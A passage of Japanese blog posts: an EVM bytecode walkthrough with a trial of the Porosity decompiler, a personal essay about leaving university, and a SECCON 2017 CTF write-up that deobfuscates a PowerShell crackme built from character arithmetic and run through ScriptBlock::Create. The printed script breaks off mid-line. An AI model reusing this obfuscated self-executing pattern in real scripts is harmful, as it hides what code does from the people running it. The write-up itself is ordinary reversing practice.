というコマンドがあり,コマンドラインでいろいろできるやつです.
これを使うと任意のEVM bytecodeをコマンドライン上で実行してくれて, --debug
オプションを付けておくとstackやmemory,storageの情報を表示してくれるので,これを使って上記の処理を追うとさらにわかりやすいかと思います.では,今度は Hello World2
のコードを使っていきます.
$ evm --debug --code 60606040523415600e57600080fd5b63deadbeef60005560358060236000396000f3006060604052600080fd00a165627a7a723058201ccb8cf1608dcc548e886094db68d49551c88613cccdcfb5b89884e4028ae32f0029 run
上から順番に見ていきます.
現在のプログラムカウンタやgasの量,それぞれにかかるコストも表示してくれています.
なにをpushしているのか書かれていないのでわかり辛さもありますが, mstore
を実行する時には 0x40
と 0x60
がそれぞれ積まれているのがわかります.また, mstore
によって 0x40
の位置に 0x60
を32byte拡張したものが格納されるので,赤く丸をしたところに60という数字が現れています.jumpする直前まで飛ばします.
jumpi
が実行されるときには jump先のオフセットと iszero(callvalue)
の返り値である1がstackへ積まれています. jumpi
の次は jumpdest
となっていますが,このようにjumpする直前では実は Mark a valid destination for jumps. This operation has no effect on machine state during execution.
と説明が書かれている jumpdest
命令が実行されています.
tag_1へ移動してからは,まずコンストラクタの処理である「 0xdeadbeef
を data
に代入」があります.
sstore
によって,32byte拡張された0をkeyにvalueである32byte拡張された 0xdeadbeef
がstorageへと保存されているのがわかります.その後, codecopy
まで処理は進んでいき,
codecopy
が実行された直後のmemoryを見てみると, sub_0
のコードがmemoryへ展開されているのがわかります.
いくつかの疑問点
コントラクトをデプロイする過程を追ってきましたが,いくつか疑問が残っています.
mstore(0x40, 0x60)
とは何のためにあるのかsub_0
のラベルが付いているルーチンはなんなのかsub_0
に書かれているauxdata
とは
とりあえずこの3つについて書いていきます.
mstore(0x40, 0x60)について
まず, 0x40
というのは特別な場所らしく free memory pointer
という空きメモリへのポインタを保存しておく場所です.この命令から始まることで, 0x40
の位置に 0x60
という値を入れておき, 0x60
が空いているよと伝えることができます.また, 0x60
に mstore
を使って保存した値をもし保持しておきたい場合は free memory pointer
を他の値で更新し,次はその場所を使うようにしたりと,そんな風に使うっぽいです.
ですが,これって慣習として”そういう風に使う領域”と言われているだけで,書き込みが禁止されていたりとかはないんですよね.ですので,コントラクトの本体コードが大きいものをデプロイした場合,↑で見た処理の通り sub_0
がmemoryの 0x0
に保存されるので, 0x40
にある free memory pointer
はすぐ上書きされてしまうわけで.
結局よくわからなくなったので,もう少し調べてみる必要がありそうです.
sub_0のラベルが付いているルーチンについて
これは恐らく,コンストラクタ以外のコントラクトの関数が含まれる箇所で,例えば get
と set
だけのシンプルなコントラクトにした場合, get
と set
にあたる処理は sub_0
へ入ります.もう少し大きなコントラクトで試した場合も sub_?
というラベルは sub_0
しか出てくることはなかったので,自分はコンストラクタ以外の関数(処理),つまりコントラクトの本体が含まれる箇所だと解釈しています.
sub_0に書かれている auxdata とは
これはググっても本当に情報が出てこなくて,恐らく auxdata
という呼称を使っているのは Solidity なので,Solidity のソースコードを探ってみました.ちなみに auxdata
という言葉自体は auxiliary data
の略称であり,補助データという意味です.
solidity/libevmasm/Assembly.h
の158行目にこうありました.
/// Data that is appended to the very end of the contract.
bytes m_auxiliaryData;
説明は書かれておらず,コントラクトの最後に追加されるデータってそんなことわかっとんねんと思いながら他を探しました.
solidity/libsolidity/codegen/Compiler.cpp
の39行目.
m_runtimeContext.appendAuxiliaryData(_metadata);
とあり,この _metadata
は
void Compiler::compileContract( ContractDefinition const& _contract, std::map<const ContractDefinition*, eth::Assembly const*> const& _contracts, bytes const& _metadata ) { ..........................
この関数の引数として渡ってきます.結局 metadata
でしかないのはわかるんですが,これが何のためにあって,どういう使われ方をするのかはよくわかりませんでした.
auxdata: 0xa165627a7a7230582") == 0
コードのテストにはこのような1行もあり,決まったフォーマットであることもわかるのですが,正体が謎です.改ざんされていないか検証するための値とかでしょうか.
Porosityについて
今年のDEFCONでPorosityというEthereum Smart Contractsのデコンパイラが発表されました.なぜこんなリバースエンジニアリングツールが出てきたのかというと,そもそもSmart Contract自体に脆弱性が存在することがあるらしく,それを悪用して不正送金されたケースがあったとか.
で,セキュリティ対策としてコンパイルされる前のコードを静的解析するツールはあるものの,これは開発者がコードを提供することで初めて成り立つものです.セキュリティを意識しない開発者がそのままコンパイルしてブロックチェーン上へデプロイした場合はコードが安全であることを保証する方法が無く,もし新たに脆弱性が見つかった場合に開発者自信が元々のコードを保持・または共有していない限り,脆弱なコントラクトを特定するのは非常に難しくなります.
というような内容が書かれているPorosityを紹介しているサイトがあるので,詳しくはこちらをご覧ください.
ということで,このツールを少しだけ使ってみます.足りないパッケージがあったりしたので,インストール方法を載せておきます.
インストール ( Ubuntu16.04 )
$ git clone https://github.com/comaeio/porosity.git $ cd porosity $ sudo apt-get install libboost-all-dev $ cd porosity/porosity $ wget https://raw.githubusercontent.com/chriseth/solidity/0a2a2cf38b7794826a17efe44aea5dc96de98dc7/libdevcore/boost_multiprecision_number_compare_bug_workaround.hpp $ porosity.hの中の `#include "Common.h"` を `#include <boost/dynamic_bitset.hpp>` の上に移動 $ make
以下のようなコントラクトで試してみます.
pragma solidity ^0.4.0; contract Aizu { uint data; function set(uint input) public { data = input; } function get() public constant returns (uint) { return data; } }
実行.
$ abi=`cat output/Aizu.abi` $ code=`cat output/Aizu.bin` $ porosity --abi $abi --code $code --decompile --verbose 0
Porosity v0.1 (https://www.comae.io) Matt Suiche, Comae Technologies <support@comae.io> The Ethereum bytecode commandline decompiler. Decompiles the given Ethereum input bytecode and outputs the Solidity code. Attempting to parse ABI definition... Success. Hash: 0x60FE47B1 executeInstruction: NOT_IMPLEMENTED: REVERT function set(uint256) { if (!msg.value) { } store[var_LK0e1] = arg_4; return; } LOC: 6 Hash: 0x6D4CE63C executeInstruction: NOT_IMPLEMENTED: REVERT function get() { if (!msg.value) { } return; return; } LOC: 6
んー...どうなんですかね. set
は大体戻せていますが, get
は最後 return
が2つ出ていたりして怪しいです.GitHubを見てみるとサンプルでは自明な脆弱性があるところは教えてくれたりするらしいですが,まだまだ発展途上というところでしょうか.
まとめ
gethの使い方!とか基本的なセットアップとかの情報は日本語でも増えてきたものの,もっと深い実装寄りの話においては日本語の記事はほとんど存在していなくて,英語の記事もまとまっているものは少なくて部分的だったり,情報を探すのに本当に苦労しました. でも,情報がここまで多くない時代ってそれが当たり前で,皆さんいろいろ探りながらブログとかへまとめていったんだなぁと思うと本当に先人に感謝だし,自分ももっと情報をアウトプットするべきだなと感じました.
以上ですが,何か間違いなどあればご指摘お願いします.
参照
- https://ethereum.stackexchange.com/questions/2823/what-does-bytecode-of-blank-contract-do/2829
- https://lilymoana.github.io/evm_part5.html
- https://github.com/androlo/solidity-workshop/blob/master/tutorials/2016-03-09-advanced-solidity-I.md
- http://solidity.readthedocs.io/en/develop/miscellaneous.html
- https://ethereum.stackexchange.com/questions/9603/understanding-mload-assembly-function
2度目の退学を経て院進する話
この記事は 退学 Advent Calendar 2017 - Adventar 20日目の記事です.
前の人は@muscle_azosonさん,次は@showmeearさんです.
はじめに
この記事は,近況報告も含めた自分のこれまでの話みたいな,いわゆるポエムっぽいやつ.
4月から院進できそうだけど,その過程でいろいろ特殊なことが多くて,いっそ退学Advent Calendarとやらに公開しようってなった.
今の大学に入る前の話
元々は高校卒業後,別の大学に通っていた.実家から電車で通える私立大学.お金の問題で国公立か自宅から通える範囲の私立大学しか許されなくて,目指してた第1志望に落ちて入学した.
入学後のオリエンテーションは新宿駅のバス停に現地集合だったけど迷路のような新宿駅で見事に迷い,間に合わずにサボった.結果,オリエンテーションが終わった後では既にグループが形成されていて.「あれ?ぼっちじゃね?」という事故が起きる.
それ以降,授業で1人の人を見つけ話しかけたりするも上手くいかず,唯一他の学科に1人だけ友達のような奴ができた.
友人関係はそんな感じだったんだけど,5月頃になると講義に違和感を覚えるようになった.
まずプログラミングの講義.無難にC言語だったけど,最早講義じゃない.テキストがあるのでそれ通りに自分で進めて課題をこなし,わからないところがあればTAが教えてくれるような自主学習に近い形態だった.確か教授は課題の問題をごく稀に前で解説してくれるだけ.ほぼいる意味がない. 次に英語の講義.本当に中学英語のようなことしかやらなかった記憶がある.思い出せないけど,いろいろアレだった.
ここで不満を言ってもしょうがないのでやめておくけど,そんなこともあって徐々にもう一度大学受験がしたいみたいな感情が湧いてきた.
実際に行動に移したのは6月下旬か7月頃だった気がする.親に話したら一回だけならって事で許してくれた.本当に感謝すぎる.そこから,休学届を出したのが8月頃.勉強を始めたのは8月下旬に差し掛かる頃.ここで,休学すると奨学金が止まるということや,他の大学に合格して入学した場合,借りていた半期分の奨学金は支払いが猶予されるということなど,奨学金に関する知見を得た.
その後は予備校に通うお金もないので家に引きこもって勉強したり,図書館を使ってみたり,模試やその他かかるお金をバイトして稼いだり,そんな感じ.で,元々目指してたところいけるぐらいにはセンター試験の過去問で点数が取れるようになったけど,いざ本番受けてみたら無事死亡した.
そこで出てきたのが今の大学だった.高校時代も存在は知ってたけど,関東の大学しか行くつもりはなかった.けど,結局受験して合格して入学した.
前の大学には,受験して合格したのでそっち行きますって正直に伝えた.休学理由は,お金が無いので授業料を稼ぐって話だったので嫌な顔されるかと思ったけど,そんな事はなくてむしろおめでとうとか頑張ってねとか言って貰えたので,あざっすって感じだった.最後に担任みたいな存在の教授と謎の握手を交わしたのが面白くて覚えてる.友達はほぼいなかったようなもんなので,そこら辺のことを気にする必要もなく綺麗サッパリ退学した.
これが1度目の退学.
今の大学に入学後
反省を活かし,オリエンテーションは死ぬ気で行くぞと思って行った.友人を頑張って作った.
プログラミングの講義や英語の講義に関しては,ほぼ文句がなかった.大学の講義の質がどうとか言う人はいるけど,自分にとっては以前の大学に比べたら良質な講義だと思った.プログラミングの講義は進むのが遅いかもしれないけど,講義と演習のバランスは取れてると思ったし,できる人はスキップテストが用意されてるので受ければいいし,英語は教員が外国人なので頑張って聞き取る必要があった.
そんな感じで真面目に受けていて,この頃は親への申し訳なさと自分は1年遅れているってのを妙に意識して,それでモチベーションを維持していた気がする.
GPAもそれなりに気にしていた.予習復習なんて事は流石にしてなかったけど,課題は真面目に出していた.他の時間は技術書読んだりだとか,そういう事にあてたほうが有意義だと思う.
いろいろ有利になるからって事で頑張ってたけど,研究室の選考にも使えなかったし,頑張った意味みたいな感じだった.
けど,徐々に5年一貫教育プログラムというものに興味を持った.4+1や3+2とか言われているやつで,学部4年+大学院1年っていうAと,学部を3年で中退して大学院2年っていうB1,学部を3年で卒業して大学院2年っていうB2がこの大学にはある.このプログラムはGPAが特に関係してくる.
1年早まるっていうのもそうだけど,給付型の奨学金を貰いながら大学院に通えるらしいというのに惹かれた.前の大学で借りてた奨学金もあったし,院進はお金が足りないって問題がそれで解決した.
そこからはGPAの最低ラインを守って講義を受けて,結果B1のプログラムに申し込むことができた.
申し込んで1ヶ月後の10月中旬頃に,認定書みたいなのを貰えた.あと退学願も貰った.大学院受かったら提出してくださいということらしい.
あと,大学院では研究室を変えることにした.理由は今の指導教員が自分のやりたい分野の人ではない為.やりたい事をやらせてくれると言ってくれてたけど,やっぱりある程度のサポートをしてくれる教員じゃないと厳しいと思う.研究室を変更する過程で,奨学金の推薦書を変更予定先の先生に書いてもらったり,いろいろ大変だった.
これで2度目の退学になる予定.
最後に
大学が肌に合わないと感じたらすぐに切り替えてもう一度受験し直すってのは有りで,変えて良かったと思う.
あと,GPA意識してめっちゃ頑張るんじゃなくて"最低限"頑張っておくと後々役に立つ(かも)
この大学,いろいろすごい人が多いし,そういう人達の刺激を受けることができて本当に良いし,大学を変えて良かったとしみじみ思う.
とりあえず2月の入試に合格して,その後は最終学歴が高卒にならないようにちゃんと卒業したい.
SECCON 2017 Online CTF Writeup(Powerful Shell) & おまけ(Qubic Rube)
開催期間(JST)
12/09 PM3:00 ~ 12/10 PM3:00
結果
・チーム名:wabisabi
・得点:1200 pt
・順位:170/1028
解いた問題
・Powerful Shell (Binary 300)
取り組んだが解けなかった問題
・Qubic Rube (Programming 300)
はじめに
参加してました.日本チームがめっちゃ多くてびっくりしてました.チームメンバーの活躍で去年より順位が100位ぐらい上がってました.僕は結局Powerful Shellしか通せなくて,Qubic Rubeを後輩とやっていたのですが,あと2時間あれば解けただろうって感じで,37/50 ステージ目でタイムアップだったので悲しい.
以下,Powerful ShellのWriteupです.
Writeup
Powerful Shell (Binary 300)
最初はずっとQubic Rubeをやっていたのですが,スクリプトを他の人に書いてもらっているときに「なんか解けるやつないかなぁ」と思って解いたやつです.高得点なのに解いている人が多くて,それで着手しました.
Crack me. という問題文と共に以下のような,20546行のテキストが渡されます.
$ECCON=""; $ECCON+=[char](3783/291); $ECCON+=[char](6690/669); $ECCON+=[char](776-740); $ECCON+=[char](381-312); $ECCON+=[char](403-289); $ECCON+=[char](-301+415); $ECCON+=[char](143-32); $ECCON+=[char](93594/821); $ECCON+=[char](626-561); .......................................................... $ECCON+=[char](7631/587); $ECCON+=[char](137-127); $ECCON+=[char](-905+918); $ECCON+=[char](873-863); $ECCON+=[char](721-708); $ECCON+=[char](803-793); $ECCON+=[char](10426/802); Write-Progress -Activity "Extracting Script" -status "20040" -percentComplete 99; $ECCON+=[char](520-510); Write-Progress -Completed -Activity "Extracting Script";.([ScriptBlock]::Create($ECCON))
Power Shellのスクリプトだということを先に取り組んでいた@kobadlveから教えてもらい,その後も情報を貰いながら(Set-ExecutionPolicyでExecution Policyを変更する必要がある,など)Power Shellで動かすところまではいきました.@kobadlveは仮想マシンで取り組んでいたらしいのですが, Checking Host...
というところで落ちてしまうということでした.自分のPCではちゃんと動いたので,環境の問題でしょうか.
上手く起動できると以下のような画面が現れます.
僕はPCをミュートしていて後々気づくことになるのですが,鍵盤にある記号を入力すると音がでるようになっています.面白い.
まずPower Shellスクリプトから読み取れることとしては,ECCONという名前の変数にひたすらなにかを足していっているということです.Power Shellでは変数の前に$を付けて使うらしいですね.そして,最終的にそれを実行しているように見えます.
僕がまず行ったことはソースコードの抽出です.$ECCONには1文字ずつ足してスクリプトを書いていっているのだから$ECCONを別ファイルとかに書き出してしまえばソースコードは見れるのではないか?と考えました.
そこで,スクリプトの最後を以下のように変更しました.
$ECCON+=[char](803-793); $ECCON+=[char](10426/802); Write-Progress -Activity "Extracting Script" -status "20040" -percentComplete 99; $ECCON+=[char](520-510); #Write-Progress -Completed -Activity "Extracting Script";.([ScriptBlock]::Create($ECCON)) Out-File -InputObject $ECCON -FilePath C:\Users\ywkw1\Work\script.ps1
これで,script.ps1として$ECCONを保存できました.早速中身を見てみます.
$ErrorActionPreference = "ContinueSilently" [console]::BackgroundColor = "black";[console]::ForegroundColor = "white";cls;Set-Alias -Name x -Value Write-Host;$host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 95,25;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 